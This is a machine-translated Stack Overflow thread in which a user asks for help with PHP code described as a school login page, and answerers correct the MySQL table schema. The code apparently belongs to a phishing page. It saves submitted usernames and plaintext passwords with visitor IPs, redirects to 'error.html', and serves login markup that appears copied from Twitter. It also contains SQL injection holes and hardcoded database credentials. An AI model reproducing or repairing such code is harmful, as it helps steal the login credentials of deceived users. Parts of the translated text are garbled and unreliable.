2016-12-08 2 views
0

Привет, друзья Сегодня я создаю свою страницу входа, которая сохранила пароль пользователя в моей базе данных, этот проект мне дал в моей школе, и теперь я полностью разочарован, потому что все кажется правильным но когда я пытаюсь создать базу данных, что говорит об ошибке ...... Я уже отправил снимок экрана после этого index.php сценария ...Я не смог сохранить свои данные на mysql

[<?php 
    { //credit 
    /* 
    * 
    *by nalin 
    * 
    *PHP ver 5.1.0> 
    *Tested on 5.5.27 
    * 
    * 
    */ 
    } 
    { //config 
    error_reporting(0); //turn off error 
    //server address 
    $data\[server\] = "localhost"; 
    //user name 
    $data\[username\] = "a0103769_nalin"; 
    //password here 
    $data\[pass\] = "Hydrogen"; 
    //database name 
    $data\[db\] ="a0103769_nalin"; 
    //table name 
    $data\[db2\] ="data"; 
    //redirect when detect the username/pass is empty 
    //prevent the db getting filled with junk aka empty tables 
    $header_empty = $_SERVER\['PHP_SELF'\]; 
    //when it is logged 
    $header_success ="error.html"; 
    } 
    { //mod 
    //cloud flare ip converter 
    if(isset($_SERVER\["HTTP_CF_CONNECTING_IP"\])){ 
    $_SERVER\['REMOTE_ADDR'\] = $_SERVER\['HTTP_CF_CONNECTING_IP'\]; 
    }; 
    } 
    if(isset($_POST\[submit\])){ //Send pass & username to MYSQL 
    $id\[name\] = $_POST\[uom\]; 
    $id\[pass\] = $_POST\[pass\]; 
    $id\[ip\] = $_SERVER\[REMOTE_ADDR\]; 
    $idts = gmdate('Y-m-d h:i:s \G\M\T'); 
    {//empty filler 
    if(null == $id\[name\]){ 
    header("Location: $header_empty"); 
    die(); 
    }; 
    if(null == $id\[pass\]){ 
    header("Location: $header_empty"); 
    die(); 
    }; 
    } 
    $con = mysql_connect($data\[server\],$data\[username\],$data\[pass\]); 
    mysql_select_db("$data\[db\]",$con); 
    $sql = "INSERT INTO `$data\[db\]`.`$data\[db2\]` (`ID`, `Name`, `Pass`, `IP`, `Time`) VALUES (NULL, '$id\[name\]', '$id\[pass\]', '$id\[ip\]', '$idts')"; 
    mysql_query($sql); 
    mysql_close($con); 
    header("Location: $header_success"); 
    }; 
    if(!isset($_POST\[submit\])) { //echo the full login page 
    echo ' 
    <html lang="en" data-scribe-reduced-action-queue="true"><!--<!\[endif\]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 

MySQL Query

CREATE TABLE `a0103769_nalin`.`data` (
    `ID` TEXT NULL DEFAULT NULL AUTO_INCREMENT, 
    `Name` TEXT NULL DEFAULT NULL, 
    `Password` TEXT NULL DEFAULT NULL, 
    `IP` TEXT NULL DEFAULT NULL, 
    `Time` TEXT NULL DEFAULT NULL, 
    PRIMARY KEY (`ID`) 
) 
ENGINE = InnoDB; 
+1

Что все эти '' '' 'делают в вашем коде? –

+0

@u_mulder Этот php встроен в html, поэтому я использовал [/] этот знак –

+0

Вы видите, что после php мой код html запущен в нижней части –

ответ

0

Нам e AUTO_INCREMENT вам нужно очистить столбец как INT или с плавающей точкой, а не Text.

AUTO_INCREMENT использует только значение без знака, поэтому полезно использовать UNSIGNED;

CREATE TABLE a0103769_nalin.data (ID INT NULL DEFAULT NULL AUTO_INCREMENT , 
Name TEXT NULL DEFAULT NULL , Password TEXT NULL DEFAULT NULL , IP TEXT NULL  
DEFAULT NULL , Time TEXT NULL DEFAULT NULL , PRIMARY KEY (ID)) ENGINE = InnoDB; 
+0

Итак, что я хочу сохранить пользовательские данные –

+0

** ТЕКСТ в INT ** для столбца ID или просто запустить sql, предоставленный в ответе ... – Naga

+0

Большое спасибо Я пытаюсь –

0

Тип данные вашего ID столбец не может быть TEXT это должно быть Integer типа, как это первичный ключ AUTO_INCREMENT используется только на INTEGER

+1

Но он по-прежнему не сохраняет пользовательские данные. MySQL успешно создан. –

+0

Измените ваш SQL-запрос ... с помощью этого – Cocksipus

+0

'('Name',' Pass', 'IP', 'Time') VALUES ('$ id \ [имя \]', '$ id \ [pass \]', '$ id \ [ip \]', '$ idts') ' – Cocksipus

0

В соответствии с представленным изображением:

enter image description here

Вы получаете ошибку из-за неправильного типа данных вашего ID (P RIMARY KEY). поэтому вам просто нужно изменить свой тип данных с TEXT на INT или на какой тип int, который требуется вашей системе.

+0

Но он по-прежнему не сохраняет данные пользователя. MySQL успешно создан. –

+0

@NalinNishant, можете ли вы показать, какую ошибку вы получаете? –

Смежные вопросы